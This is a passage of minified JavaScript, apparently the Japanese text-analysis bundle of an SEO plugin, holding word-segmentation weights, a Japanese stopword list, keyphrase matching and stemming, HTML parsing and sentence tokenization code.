主:-758,予:-1193,二:974,人:2742,今:792,他:1889,以:-1368,低:811,何:4265,作:-361,保:-2439,元:4858,党:3593,全:1574,公:-3030,六:755,共:-1880,円:5807,再:3095,分:457,初:2475,別:1129,前:2286,副:4437,力:365,動:-949,務:-1872,化:1327,北:-1038,区:4646,千:-2309,午:-783,協:-1006,口:483,右:1233,各:3588,合:-241,同:3906,和:-837,員:4513,国:642,型:1389,場:1219,外:-241,妻:2016,学:-1356,安:-423,実:-1008,家:1078,小:-513,少:-3102,州:1155,市:3197,平:-1804,年:2416,広:-1030,府:1605,度:1452,建:-2352,当:-3885,得:1905,思:-1291,性:1822,戸:-488,指:-3973,政:-2013,教:-1479,数:3222,文:-1489,新:1764,日:2099,旧:5792,昨:-661,時:-1248,曜:-951,最:-937,月:4125,期:360,李:3094,村:364,東:-805,核:5156,森:2438,業:484,氏:2613,民:-1694,決:-1073,法:1868,海:-495,無:979,物:461,特:-3850,生:-273,用:914,町:1215,的:7313,直:-1835,省:792,県:6293,知:-1528,私:4231,税:401,立:-960,第:1201,米:7767,系:3066,約:3663,級:1384,統:-4229,総:1163,線:1255,者:6457,能:725,自:-2869,英:785,見:1044,調:-562,財:-733,費:1777,車:1835,軍:1375,込:-1504,通:-1136,選:-681,郎:1026,郡:4404,部:1200,金:2163,長:421,開:-1432,間:1302,関:-1282,雨:2009,電:-1045,非:2066,駅:1620,"1":-800,"」":2670,"・":-3794,ッ:-1350,ア:551,グ:1319,ス:874,ト:521,ム:1109,ル:1591,ロ:2201,ン:278},this.UW4__={",":3930,".":3508,"―":-4841,"、":3930,"。":3508,〇:4999,"「":1895,"」":3798,"〓":-5156,あ:4752,い:-3435,う:-640,え:-2514,お:2405,か:530,が:6006,き:-4482,ぎ:-3821,く:-3788,け:-4376,げ:-4734,こ:2255,ご:1979,さ:2864,し:-843,じ:-2506,す:-731,ず:1251,せ:181,そ:4091,た:5034,だ:5408,ち:-3654,っ:-5882,つ:-1659,て:3994,で:7410,と:4547,な:5433,に:6499,ぬ:1853,ね:1413,の:7396,は:8578,ば:1940,ひ:4249,び:-4134,ふ:1345,へ:6665,べ:-744,ほ:1464,ま:1051,み:-2082,む:-882,め:-5046,も:4169,ゃ:-2666,や:2795,ょ:-1544,よ:3351,ら:-2922,り:-9726,る:-14896,れ:-2613,ろ:-4570,わ:-1783,を:13150,ん:-2352,カ:2145,コ:1789,セ:1287,ッ:-724,ト:-403,メ:-1635,ラ:-881,リ:-541,ル:-856,ン:-3637,"・":-4371,ー:-11870,一:-2069,中:2210,予:782,事:-190,井:-1768,人:1036,以:544,会:950,体:-1286,作:530,側:4292,先:601,党:-2006,共:-1212,内:584,円:788,初:1347,前:1623,副:3879,力:-302,動:-740,務:-2715,化:776,区:4517,協:1013,参:1555,合:-1834,和:-681,員:-910,器:-851,回:1500,国:-619,園:-1200,地:866,場:-1410,塁:-2094,士:-1413,多:1067,大:571,子:-4802,学:-1397,定:-1057,寺:-809,小:1910,屋:-1328,山:-1500,島:-2056,川:-2667,市:2771,年:374,庁:-4556,後:456,性:553,感:916,所:-1566,支:856,改:787,政:2182,教:704,文:522,方:-856,日:1798,時:1829,最:845,月:-9066,木:-485,来:-442,校:-360,業:-1043,氏:5388,民:-2716,気:-910,沢:-939,済:-543,物:-735,率:672,球:-1267,生:-1286,産:-1101,田:-2900,町:1826,的:2586,目:922,省:-3485,県:2997,空:-867,立:-2112,第:788,米:2937,系:786,約:2171,経:1146,統:-1169,総:940,線:-994,署:749,者:2145,能:-730,般:-852,行:-792,規:792,警:-1184,議:-244,谷:-1e3,賞:730,車:-1481,軍:1158,輪:-1433,込:-3370,近:929,道:-1291,選:2596,郎:-4866,都:1192,野:-1100,銀:-2213,長:357,間:-2344,院:-2297,際:-2604,電:-878,領:-1659,題:-792,館:-1984,首:1749,高:2120,"「":1895,"」":3798,"・":-4371,ッ:-724,ー:-11870,カ:2145,コ:1789,セ:1287,ト:-403,メ:-1635,ラ:-881,リ:-541,ル:-856,ン:-3637},this.UW5__={",":465,".":-299,1:-514,E2:-32768,"]":-2762,"、":465,"。":-299,"「":363,あ:1655,い:331,う:-503,え:1199,お:527,か:647,が:-421,き:1624,ぎ:1971,く:312,げ:-983,さ:-1537,し:-1371,す:-852,だ:-1186,ち:1093,っ:52,つ:921,て:-18,で:-850,と:-127,ど:1682,な:-787,に:-1224,の:-635,は:-578,べ:1001,み:502,め:865,ゃ:3350,ょ:854,り:-208,る:429,れ:504,わ:419,を:-1264,ん:327,イ:241,ル:451,ン:-343,中:-871,京:722,会:-1153,党:-654,務:3519,区:-901,告:848,員:2104,大:-1296,学:-548,定:1785,嵐:-1304,市:-2991,席:921,年:1763,思:872,所:-814,挙:1618,新:-1682,日:218,月:-4353,査:932,格:1356,機:-1508,氏:-1347,田:240,町:-3912,的:-3149,相:1319,省:-1052,県:-4003,研:-997,社:-278,空:-813,統:1955,者:-2233,表:663,語:-1073,議:1219,選:-1018,郎:-368,長:786,間:1191,題:2368,館:-689,"1":-514,E2:-32768,"「":363,イ:241,ル:451,ン:-343},this.UW6__={",":227,".":808,1:-270,E1:306,"、":227,"。":808,あ:-307,う:189,か:241,が:-73,く:-121,こ:-200,じ:1782,す:383,た:-428,っ:573,て:-1014,で:101,と:-105,な:-253,に:-149,の:-417,は:-236,も:-206,り:187,る:-135,を:195,ル:-673,ン:-496,一:-277,中:201,件:-800,会:624,前:302,区:1792,員:-1212,委:798,学:-960,市:887,広:-695,後:535,業:-697,相:753,社:-507,福:974,空:-822,者:1811,連:463,郎:1082,"1":-270,E1:306,ル:-673,ン:-496},this}t.prototype.ctype_=function(e){for(var t in this.chartype_)if(e.match(this.chartype_[t][0]))return this.chartype_[t][1];return"O"},t.prototype.ts_=function(e){return e||0},t.prototype.segment=function(e){if(null==e||null==e||""==e)return[];var t=[],r=["B3","B2","B1"],a=["O","O","O"],l=e.split("");for(v=0;v<l.length;++v)r.push(l[v]),a.push(this.ctype_(l[v]));r.push("E1"),r.push("E2"),r.push("E3"),a.push("O"),a.push("O"),a.push("O");for(var u=r[3],n="U",i="U",g="U",v=4;v<r.length-3;++v){var s=this.BIAS__,c=r[v-3],o=r[v-2],E=r[v-1],h=r[v],d=r[v+1],f=r[v+2],C=a[v-3],A=a[v-2],F=a[v-1],p=a[v],D=a[v+1],m=a[v+2];s+=this.ts_(this.UP1__[n]),s+=this.ts_(this.UP2__[i]),s+=this.ts_(this.UP3__[g]),s+=this.ts_(this.BP1__[n+i]),s+=this.ts_(this.BP2__[i+g]),s+=this.ts_(this.UW1__[c]),s+=this.ts_(this.UW2__[o]),s+=this.ts_(this.UW3__[E]),s+=this.ts_(this.UW4__[h]),s+=this.ts_(this.UW5__[d]),s+=this.ts_(this.UW6__[f]),s+=this.ts_(this.BW1__[o+E]),s+=this.ts_(this.BW2__[E+h]),s+=this.ts_(this.BW3__[h+d]),s+=this.ts_(this.TW1__[c+o+E]),s+=this.ts_(this.TW2__[o+E+h]),s+=this.ts_(this.TW3__[E+h+d]),s+=this.ts_(this.TW4__[h+d+f]),s+=this.ts_(this.UC1__[C]),s+=this.ts_(this.UC2__[A]),s+=this.ts_(this.UC3__[F]),s+=this.ts_(this.UC4__[p]),s+=this.ts_(this.UC5__[D]),s+=this.ts_(this.UC6__[m]),s+=this.ts_(this.BC1__[A+F]),s+=this.ts_(this.BC2__[F+p]),s+=this.ts_(this.BC3__[p+D]),s+=this.ts_(this.TC1__[C+A+F]),s+=this.ts_(this.TC2__[A+F+p]),s+=this.ts_(this.TC3__[F+p+D]),s+=this.ts_(this.TC4__[p+D+m]),s+=this.ts_(this.UQ1__[n+C]),s+=this.ts_(this.UQ2__[i+A]),s+=this.ts_(this.UQ3__[g+F]),s+=this.ts_(this.BQ1__[i+A+F]),s+=this.ts_(this.BQ2__[i+F+p]),s+=this.ts_(this.BQ3__[g+A+F]),s+=this.ts_(this.BQ4__[g+F+p]),s+=this.ts_(this.TQ1__[i+C+A+F]),s+=this.ts_(this.TQ2__[i+A+F+p]),s+=this.ts_(this.TQ3__[g+C+A+F]);var B="O";(s+=this.ts_(this.TQ4__[g+A+F+p]))>0&&(t.push(u),u="",B="B"),n=i,i=g,g=B,u+=r[v]}return t.push(u),t},e.exports=t},429:e=>{var t=function(e,t){var r;for(r=0;r<e.length;r++)if(e[r].regex.test(t))return e[r]},r=function(e,r){var a,l,u;for(a=0;a<r.length;a++)if(l=t(e,r.substring(0,a+1)))u=l;else if(u)return{max_index:a,rule:u};return u?{max_index:r.length,rule:u}:void 0};e.exports=function(e){var a="",l=[],u=1,n=1,i=function(t,r){e({type:r,src:t,line:u,col:n});var a=t.split("\n");u+=a.length-1,n=(a.length>1?1:n)+a[a.length-1].length};return{addRule:function(e,t){l.push({regex:e,type:t})},onText:function(e){for(var t=a+e,u=r(l,t);u&&u.max_index!==t.length;)i(t.substring(0,u.max_index),u.rule.type),t=t.substring(u.max_index),u=r(l,t);a=t},end:function(){if(0!==a.length){var e=t(l,a);if(!e){var r=new Error("unable to tokenize");throw r.tokenizer2={buffer:a,line:u,col:n},r}i(a,e.type)}}}}}},t={};function r(a){var l=t[a];if(void 0!==l)return l.exports;var u=t[a]={exports:{}};return e[a](u,u.exports,r),u.exports}r.n=e=>{var t=e&&e.__esModule?()=>e.default:()=>e;return r.d(t,{a:t}),t},r.d=(e,t)=>{for(var a in t)r.o(t,a)&&!r.o(e,a)&&Object.defineProperty(e,a,{enumerable:!0,get:t[a]})},r.o=(e,t)=>Object.prototype.hasOwnProperty.call(e,t),r.r=e=>{"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})};var a={};(()=>{"use strict";r.r(a),r.d(a,{default:()=>qe});const e=window.yoast.analysis,t=window.lodash;var l=r(771),u=r.n(l);const{sanitizeString:n,removePunctuation:i}=e.languageProcessing,g=new(u());function v(e){if(""===(e=n(e)))return[];let r=g.segment(e);return r=(0,t.map)(r,(function(e){return i(e)})),(0,t.filter)(r,(function(e){return""!==e.trim()}))}const s=["が","を","に","へ","と","から","より","まで","で","か","の","や","やら","だ","なり","わ","とも","かしら","かな","かい","っけ","さ","よ","ね","ばかり","ばっかり","ばっか","ばかし","だけ","きり","っきり","ほど","くらい","ぐらい","ころ","ごろ","など","は","も","こそ","でも","しか","さえ","ば","て","のに","ので","ところ","けれども","けれど","くせ","もの","もん","ものか","もんか","な","なあ","なんか","なんて","って","し","ずつ","すら","ともに","ぜ","ぞ","じゃん","ながら","たり","だり","つつ","まま","ものの","つまり","しかし","よって","に関する","に関し","について","における","において","関","する","関し","ついて","おえる","おける","という","といっ","た","に対する","対","に対して","対して","にかけ","による","により","によって","および","これ","それ","あれ","どれ","こちら","こっち","そちら","そっち","あちら","あっち","どちら","どっち","ここ","そこ","あそこ","どこ","こう","そう","ああ","どう","こんな","そんな","あんな","どんな","この","よう","その","あの","ど","こうやって","そうやって","ああやって","やっ","どの","こっ","そっから","どっ","さま","あちらさま","どちらさま","そちらさま","こんだけ","そんだけ","あんだけ","どん","なに","なん","何","どいつ","どなた","だれ","誰","いつ","なぜ","どうして","どれくらい","どれぐらい","位","いくら","いくつ","一","二","三","四","五","六","七","八","九","十","百","千","万","億","兆","ひとつ","ふたつ","みっつ","よっつ","いつつ","むっつ","ななつ","やっつ","ここのつ","とお","つ","こ","コ","個","人","ひき","匹","まい","枚","さつ","冊","杯","回","キロ","グラム","適量","少々","大匙","大さじ","小匙","小さじ","g","cc","ml","l","kg","番目","め","週","時間","週間","時","分","秒","か月","カ月","ヶ月","部分","一部","ほか","他","それぞれ","まっ","たく","全く","ぜんぶ","全部","すべて","全","すごく","最高","最悪","可能","良い","良く","良さ","いい","よい","悪い","悪く","悪さ","大きな","おおき","小さ","ちいさ","だめ","ダメ","駄目","ただ","ちょっと","すこし","少し","なか","たくさん","よく","たまに","ときどき","時々","いつも","およそ","やく","だい","たい","約","程","大体","また","もう","とて","おそらく","たぶん","恐らく","多分","のみ","多少","本当","ほんとう","まじ","マジ","勿論","もちろん","やっと","しっかり","さっき","ほんと","ホント","きっと","かならず","必ず","絶対","ぜっ","ゼッタイ","にかく","やっぱり","やっぱ","たっ","はっきり","すでに","なる","いっしょ","緒","だいじょうぶ","ダイジョウブ","大丈夫","年","月","日","今日","明日","明後","昨日","一昨日","きょう","あす","あし","あさっ","き","のう","おととい","今年","来年","去年","ことし","らいねん","きょねん","わたし","わたくし","あたし","私","あたくし","うち","うちら","おら","おいら","わたしら","たち","わたしど","われら","われわ","れ","私ら","私達","達","私共","我ら","我々","おれ","俺","オレ","おれら","ぼく","ボクら","僕","じぶん","俺ら","僕ら","僕達","自分","俺達","ボク","あなた","貴方","貴女","貴男","君","きみ","おまえ","お","前","あんた","お宅","てめえ","貴殿","彼","彼ら","彼女","ら","こいつ","そいつ","あいつ","アイツ","これら","それら","あれら","あいつら","ども","みな","みなさま","おのおの","共","みんな","皆様","各々","皆","皆さま","方","当方","自身","さん","様","殿","ちゃん","くん","こと","事","物","コト","やつ","ヤツ","奴","まえ","あと","うえ","後","上","下","中","先","さらに","更","とく","特に","ほとんど","再び","ふたたび","ほぼ","そのまま","すぐ","あまり","相当","しばしば","わずか","僅か","比較","的","まだ","かなり","つい","まず","やが","やや","つねに","常","ひきつづき","引き続き","きわめて","極めて","ごく","別","べつ","はり","必ずし","かならずしも","むしろ","がい","まも","なく","あら","ためて","けっし","おも","互い","間","改めて","決し","主","主として","もっと","とりわけ","あく","おおむね","おおい","概ね","大い","そうし","それほど","ちょうど","とえ","まさに","なんと","とか","あえて","まる","おおよそ","ます","ぜんぜん","全然","じゃ","ません","です","あり","ませ","ん","ない","しませ","なら","ある","ありませ","いる","い","いませ","できる","でき","れる","られる","せる","させる","思わ","考え","られ","おっしゃい","述べ","言わ","話","なられ","お思い","らしい","らしく","でしょ","う","だろ","ご","御","ハイ","はい","いいえ","うん","うーん","ええ","よし","いや","まあ","おい","ねえ","どうぞ","ほら","おお","あー","さあ","まし","でし","だっ","なかっ","しまし","なっ","あっ","いた","せ","させ","ますか","み","みませ","ましょ","でみ","でみませ","なられる","なろ"];function c(e){let t=v(e);return t=t.filter((e=>!s.includes(e))),t=t.map((e=>e.endsWith("じゃ")?e.slice(0,-2):e)),t}const o=["“","”","〝","〞","〟","‟","„",'"',"「","」","『","』"],E=e=>(0,t.includes)(o,e[0])&&(0,t.includes)(o,e[e.length-1]);function h(e){const t={exactMatchRequested:!1,keyphrase:e};return E(e)&&(t.keyphrase=e.substring(1,e.length-1),t.exactMatchRequested=!0),t}const d=new RegExp("["+["'","‘","’","‛","`","‹","›"].join("")+"]","g");function f(e){return e.replace(d,"'")}function C(e){return function(e){return e.replace(/[“”〝〞〟‟„『』«»]/g,'"')}(f(e))}function A(e,t){e=e.toLowerCase();const r=h(t);if(r.exactMatchRequested){e=f(e);const t=r.keyphrase,a=[];let l=e.indexOf(t);for(;-1!==l;)a.push(t),l=e.indexOf(t,l+t.length);return a}return c(e).filter((e=>t===e))}function F(e,r){return e.length<=1?[e]:function(e,r){const a=r.paradigmGroups;let l=(0,t.uniq)((0,t.flatten)(a));l=l.sort(((e,t)=>t.length-e.length||e.localeCompare(t)));const u=l.filter((t=>e.endsWith(t))),n=[];if(0===u.length)n.push(e);else{const t=u[0],r=e.slice(0,-t.length);for(const e of a)e.includes(t)&&n.push(e.map((e=>r+e)))}return e.endsWith("る")&&n.push(e.slice(0,-1)),(0,t.uniq)((0,t.flatten)(n))}(e,r)}const{baseStemmer:p}=e.languageProcessing;function D(e){const r=(0,t.get)(e.getData("morphology"),"ja",!1);return r?e=>function(e,t){let r=F(e,t);return r=r.sort(((e,t)=>e.length-t.length||e.localeCompare(t))),r[0]}(e,r):p}function m(e){const t=[];return e.map((e=>t.push(e.length))),0===e.length?0:t.reduce(((e,t)=>e+t))}const B=new RegExp("(ftp|http(s)?:\\/\\/.)(www\\\\.)?[-a-zA-Z0-9@:%._\\/+~#=]{2,256}\\.[a-z]{2,6}\\b([-a-zA-Z0-9@:;%_\\/+.~#?&()=]*)|www\\.[-a-zA-Z0-9@:%._\\/+~#=]{2,256}\\.[a-z]{2,6}\\b([-a-zA-Z0-9@:;%_\\/+.~#?&()=]*)","igm"),{sanitizeString:O}=e.languageProcessing;function _(e){return e=function(e){return e.replace(B,"")}(e),(e=(e=O(e)).replace(/\s/g,"")).length}function I(e,t){const r=v(e).join("|"),a=[];return t.forEach((function(e){const t=e.join("|");r.includes(t)&&a.push(e)})),a}var b=r(429),H=r.n(b);function y(e,t=!1,r="",a=""){let l,u;return l="id"===a?'[ \\u00a0\\n\\r\\t.,()”“〝〞〟‟„"+;!¡?¿:/»«‹›'+r+"<>":'[ \\u00a0\\u2014\\u06d4\\u061f\\u060C\\u061B\\n\\r\\t.,()”“〝〞〟‟„"+\\-;!¡?¿:/»«‹›'+r+"<>",u=t?"($|((?="+l+"]))|((['‘’‛`])("+l+"])))":"($|("+l+"])|((['‘’‛`])("+l+"])))","(^|"+l+"'‘’‛`])"+e+u}function U(e){return(e=(e=(e=(e=e.replace(/\s{2,}/g," ")).replace(/\s\.$/,".")).replace(/^\s+|\s+$/g,"")).replace(/\s。/g,"。")).replace(/。\s/g,"。")}const M=["address","article","aside","blockquote","canvas","dd","div","dl","fieldset","figcaption","figure","footer","form","h1","h2","h3","h4","h5","h6","header","hgroup","hr","li","main","nav","noscript","ol","output","p","pre","section","table","tfoot","ul","video"],S=["b","big","i","small","tt","abbr","acronym","cite","code","dfn","em","kbd","strong","samp","time","var","a","bdo","br","img","map","object","q","script","span","sub","sup","button","input","label","select","textarea"],x=(new RegExp("^("+M.join("|")+")$","i"),new RegExp("^("+S.join("|")+")$","i"),new RegExp("^<("+M.join("|")+")[^>]*?>$","i")),w=new RegExp("^</("+M.join("|")+")[^>]*?>$","i"),k=new RegExp("^<("+S.join("|")+")[^>]*>$","i"),K=new RegExp("^</("+S.join("|")+")[^>]*>$","i"),T=/^<([^>\s/]+)[^>]*>$/,R=/^<\/([^>\s]+)[^>]*>$/,z=/^[^<]+$/,N=/^<[^><]*$/,W=/<!--(.|[\r\n])*?-->/g;let j,L=[];(0,t.memoize)((function(e){const r=[];let a=0,l="",u="",n="";return e=e.replace(W,""),L=[],j=H()((function(e){L.push(e)})),j.addRule(z,"content"),j.addRule(N,"greater-than-sign-content"),j.addRule(x,"block-start"),j.addRule(w,"block-end"),j.addRule(k,"inline-start"),j.addRule(K,"inline-end"),j.addRule(T,"other-element-start"),j.addRule(R,"other-element-end"),j.onText(e),j.end(),(0,t.forEach)(L,(function(e,t){const i=L[t+1];switch(e.type){case"content":case"greater-than-sign-content":case"inline-start":case"inline-end":case"other-tag":case"other-element-start":case"other-element-end":case"greater than sign":i&&(0!==a||"block-start"!==i.type&&"block-end"!==i.type)?u+=e.src:(u+=e.src,r.push(u),l="",u="",n="");break;case"block-start":0!==a&&(""!==u.trim()&&r.push(u),u="",n=""),a++,l=e.src;break;case"block-end":a--,n=e.src,""!==l&&""!==n?r.push(l+u+n):""!==u.trim()&&r.push(u),l="",u="",n=""}a<0&&(a=0)})),r})),new RegExp("^<("+M.join("|")+")[^>]*?>","i"),new RegExp("</("+M.join("|")+")[^>]*?>$","i");const $=function(e){return U(e=e.replace(/(<([^>]+)>)/gi," "))},P=function(e){return e.replace(/&nbsp;/g," ")},Y=function(e){return function(e){return e.replace(/\s/g," ")}(e=function(e){return e.replace(/\u2014/g," ")}(e=P(e)))};function Z(e){return e=Y(e),$(e)}const Q=new RegExp("^[.]$"),G=/^<[^><]*$/,q=/^<([^>\s/]+)[^>]*>$/im,V=/^<\/([^>\s]+)[^>]*>$/im,J=/^\s*[[({]\s*$/,X=/^\s*[\])}]\s*$/,ee=function(e,r=!1,a="",l=!1){const u="("+(e=(0,t.map)(e,(function(e){return l&&(e=function(e){const t=[{base:"a",letters:/[\u0061\u24D0\uFF41\u1E9A\u00E0\u00E1\u00E2\u1EA7\u1EA5\u1EAB\u1EA9\u00E3\u0101\u0103\u1EB1\u1EAF\u1EB5\u1EB3\u0227\u01E1\u00E4\u01DF\u1EA3\u00E5\u01FB\u01CE\u0201\u0203\u1EA1\u1EAD\u1EB7\u1E01\u0105\u2C65\u0250]/g},{base:"aa",letters:/[\uA733]/g},{base:"ae",letters:/[\u00E6\u01FD\u01E3]/g},{base:"ao",letters:/[\uA735]/g},{base:"au",letters:/[\uA737]/g},{base:"av",letters:/[\uA739\uA73B]/g},{base:"ay",letters:/[\uA73D]/g},{base:"b",letters:/[\u0062\u24D1\uFF42\u1E03\u1E05\u1E07\u0180\u0183\u0253]/g},{base:"c",letters:/[\u0063\u24D2\uFF43\u0107\u0109\u010B\u010D\u00E7\u1E09\u0188\u023C\uA73F\u2184]/g},{base:"d",letters:/[\u0064\u24D3\uFF44\u1E0B\u010F\u1E0D\u1E11\u1E13\u1E0F\u0111\u018C\u0256\u0257\uA77A]/g},{base:"dz",letters:/[\u01F3\u01C6]/g},{base:"e",letters:/[\u0065\u24D4\uFF45\u00E8\u00E9\u00EA\u1EC1\u1EBF\u1EC5\u1EC3\u1EBD\u0113\u1E15\u1E17\u0115\u0117\u00EB\u1EBB\u011B\u0205\u0207\u1EB9\u1EC7\u0229\u1E1D\u0119\u1E19\u1E1B\u0247\u025B\u01DD]/g},{base:"f",letters:/[\u0066\u24D5\uFF46\u1E1F\u0192\uA77C]/g},{base:"g",letters:/[\u0067\u24D6\uFF47\u01F5\u011D\u1E21\u011F\u0121\u01E7\u0123\u01E5\u0260\uA7A1\u1D79\uA77F]/g},{base:"h",letters:/[\u0068\u24D7\uFF48\u0125\u1E23\u1E27\u021F\u1E25\u1E29\u1E2B\u1E96\u0127\u2C68\u2C76\u0265]/g},{base:"hv",letters:/[\u0195]/g},{base:"i",letters:/[\u0069\u24D8\uFF49\u00EC\u00ED\u00EE\u0129\u012B\u012D\u00EF\u1E2F\u1EC9\u01D0\u0209\u020B\u1ECB\u012F\u1E2D\u0268\u0131]/g},{base:"j",letters:/[\u006A\u24D9\uFF4A\u0135\u01F0\u0249]/g},{base:"k",letters:/[\u006B\u24DA\uFF4B\u1E31\u01E9\u1E33\u0137\u1E35\u0199\u2C6A\uA741\uA743\uA745\uA7A3]/g},{base:"l",letters:/[\u006C\u24DB\uFF4C\u0140\u013A\u013E\u1E37\u1E39\u013C\u1E3D\u1E3B\u017F\u0142\u019A\u026B\u2C61\uA749\uA781\uA747]/g},{base:"lj",letters:/[\u01C9]/g},{base:"m",letters:/[\u006D\u24DC\uFF4D\u1E3F\u1E41\u1E43\u0271\u026F]/g},{base:"n",letters:/[\u006E\u24DD\uFF4E\u01F9\u0144\u00F1\u1E45\u0148\u1E47\u0146\u1E4B\u1E49\u019E\u0272\u0149\uA791\uA7A5]/g},{base:"nj",letters:/[\u01CC]/g},{base:"o",letters:/[\u006F\u24DE\uFF4F\u00F2\u00F3\u00F4\u1ED3\u1ED1\u1ED7\u1ED5\u00F5\u1E4D\u022D\u1E4F\u014D\u1E51\u1E53\u014F\u022F\u0231\u00F6\u022B\u1ECF\u0151\u01D2\u020D\u020F\u01A1\u1EDD\u1EDB\u1EE1\u1EDF\u1EE3\u1ECD\u1ED9\u01EB\u01ED\u00F8\u01FF\u0254\uA74B\uA74D\u0275]/g},{base:"oi",letters:/[\u01A3]/g},{base:"ou",letters:/[\u0223]/g},{base:"oo",letters:/[\uA74F]/g},{base:"p",letters:/[\u0070\u24DF\uFF50\u1E55\u1E57\u01A5\u1D7D\uA751\uA753\uA755]/g},{base:"q",letters:/[\u0071\u24E0\uFF51\u024B\uA757\uA759]/g},{base:"r",letters:/[\u0072\u24E1\uFF52\u0155\u1E59\u0159\u0211\u0213\u1E5B\u1E5D\u0157\u1E5F\u024D\u027D\uA75B\uA7A7\uA783]/g},{base:"s",letters:/[\u0073\u24E2\uFF53\u00DF\u015B\u1E65\u015D\u1E61\u0161\u1E67\u1E63\u1E69\u0219\u015F\u023F\uA7A9\uA785\u1E9B]/g},{base:"t",letters:/[\u0074\u24E3\uFF54\u1E6B\u1E97\u0165\u1E6D\u021B\u0163\u1E71\u1E6F\u0167\u01AD\u0288\u2C66\uA787]/g},{base:"tz",letters:/[\uA729]/g},{base:"u",letters:/[\u0075\u24E4\uFF55\u00F9\u00FA\u00FB\u0169\u1E79\u016B\u1E7B\u016D\u00FC\u01DC\u01D8\u01D6\u01DA\u1EE7\u016F\u0171\u01D4\u0215\u0217\u01B0\u1EEB\u1EE9\u1EEF\u1EED\u1EF1\u1EE5\u1E73\u0173\u1E77\u1E75\u0289]/g},{base:"v",letters:/[\u0076\u24E5\uFF56\u1E7D\u1E7F\u028B\uA75F\u028C]/g},{base:"vy",letters:/[\uA761]/g},{base:"w",letters:/[\u0077\u24E6\uFF57\u1E81\u1E83\u0175\u1E87\u1E85\u1E98\u1E89\u2C73]/g},{base:"x",letters:/[\u0078\u24E7\uFF58\u1E8B\u1E8D]/g},{base:"y",letters:/[\u0079\u24E8\uFF59\u1EF3\u00FD\u0177\u1EF9\u0233\u1E8F\u00FF\u1EF7\u1E99\u1EF5\u01B4\u024F\u1EFF]/g},{base:"z",letters:/[\u007A\u24E9\uFF5A\u017A\u1E91\u017C\u017E\u1E93\u1E95\u01B6\u0225\u0240\u2C6C\uA763]/g}];for(let r=0;r<t.length;r++)e=e.replace(t[r].letters,t[r].base);return e}(e)),e=Z(e),r?e:y(e,!0,a)}))).join(")|(")+")";return new RegExp(u,"ig")}(["A.D.","Adm.","Adv.","B.C.","Br.","Brig.","Cmrd.","Col.","Cpl.","Cpt.","Dr.","Esq.","Fr.","Gen.","Gov.","Hon.","Jr.","Lieut.","Lt.","Maj.","Mr.","Mrs.","Ms.","Msgr.","Mx.","No.","Pfc.","Pr.","Prof.","Pvt.","Rep.","Reps.","Rev.","Rt. Hon.","Sen.","Sens.","Sgt.","Sps.","Sr.","St.","vs.","i.e.","e.g.","viz.","Mt."].map((e=>e.replace(".","\\.")))),te="(^|$|["+[" ","\\n","\\r","\\t"," ","۔","؟","،","؛"," ",".",",","'","(",")",'"',"+","-",";","!","?",":","/","»","«","‹","›","<",">","”","“","〝","〞","〟","‟","„"].map((e=>"\\"+e)).join("")+"])",re=new RegExp(te+"[A-Za-z]$"),ae=/<\/?([^\s]+?)(\s|>)/,le=["p","div","h1","h2","h3","h4","h5","h6","span","li","main"];class ue{constructor(){this.sentenceDelimiters='”〞〟„』›»’‛`"?!…۔؟'}getSentenceDelimiters(){return this.sentenceDelimiters}isNumber(e){return!(0,t.isNaN)(parseInt(e,10))}isBreakTag(e){return/<\/?br/.test(e)}isQuotation(e){return"'"===(e=C(e))||'"'===e}endsWithOrdinalDot(){return!1}isPunctuation(e){return"¿"===e||"¡"===e}removeDuplicateWhitespace(e){return e.replace(/\s+/," ")}isCapitalLetter(e){return e!==e.toLocaleLowerCase()}isSmallerThanSign(e){return"<"===e}getNextTwoCharacters(e){let r="";return(0,t.isUndefined)(e[0])||(r+=e[0].src),(0,t.isUndefined)(e[1])||(r+=e[1].src),r=this.removeDuplicateWhitespace(r),r}isLetterFromSpecificLanguage(e){return[/^[\u0590-\u05fe]+$/i,/^[\u0600-\u06FF]+$/i,/^[\uFB8A\u067E\u0686\u06AF]+$/i].some((t=>t.test(e)))}isValidSentenceBeginning(e){return this.isCapitalLetter(e)||this.isLetterFromSpecificLanguage(e)||this.isNumber(e)||this.isQuotation(e)||this.isPunctuation(e)||this.isSmallerThanSign(e)}isSentenceStart(e){return!(0,t.isUndefined)(e)&&("html-start"===e.type||"html-end"===e.type||"block-start"===e.type)}isSentenceEnding(e){return!(0,t.isUndefined)(e)&&("full-stop"===e.type||"sentence-delimiter"===e.type)}isPartOfPersonInitial(e,r,a,l){return!(0,t.isUndefined)(e)&&!(0,t.isUndefined)(a)&&!(0,t.isUndefined)(l)&&!(0,t.isUndefined)(r)&&"full-stop"===e.type&&"sentence"===r.type&&re.test(r.src)&&"sentence"===a.type&&1===a.src.trim().length&&"full-stop"===l.type}tokenizeSmallerThanContent(e,r,a){const l=e.src.substring(1),u=this.createTokenizer();this.tokenize(u.tokenizer,l);const n=this.getSentencesFromTokens(u.tokens,!1);if(n[0]=(0,t.isUndefined)(n[0])?"<":"<"+n[0],this.isValidSentenceBeginning(n[0])&&(r.push(a),a=""),a+=n[0],n.length>1){r.push(a),a="",n.shift();const e=n.pop();n.forEach((e=>{r.push(e)}));const t=new RegExp("[."+this.getSentenceDelimiters()+"]$");e.match(t)?r.push(e):a=e}return{tokenSentences:r,currentSentence:a}}createTokenizer(){const e=new RegExp("^["+this.getSentenceDelimiters()+"]$"),t=new RegExp("^[^."+this.getSentenceDelimiters()+"<\\(\\)\\[\\]]+$"),r=[],a=H()((function(e){r.push(e)}));return a.addRule(Q,"full-stop"),a.addRule(G,"smaller-than-sign-content"),a.addRule(q,"html-start"),a.addRule(V,"html-end"),a.addRule(J,"block-start"),a.addRule(X,"block-end"),a.addRule(e,"sentence-delimiter"),a.addRule(t,"sentence"),{tokenizer:a,tokens:r}}tokenize(e,t){e.onText(t);try{e.end()}catch(e){console.error("Tokenizer end error:",e,e.tokenizer2)}}endsWithAbbreviation(e){const t=e.match(ee);if(!t)return!1;const r=t.pop();return e.endsWith(r)}isValidTagPair(e,t){const r=e.src,a=t.src,l=r.match(ae)[1];return l===a.match(ae)[1]&&le.includes(l)}getSentencesFromTokens(e,r=!0){let a,l,u=[],n="";do{l=!1;const t=e[0],r=e[e.length-1];t&&r&&"html-start"===t.type&&"html-end"===r.type&&this.isValidTagPair(t,r)&&(e=e.slice(1,e.length-1),l=!0)}while(l&&e.length>1);return e.forEach(((r,l)=>{let i,g,v;const 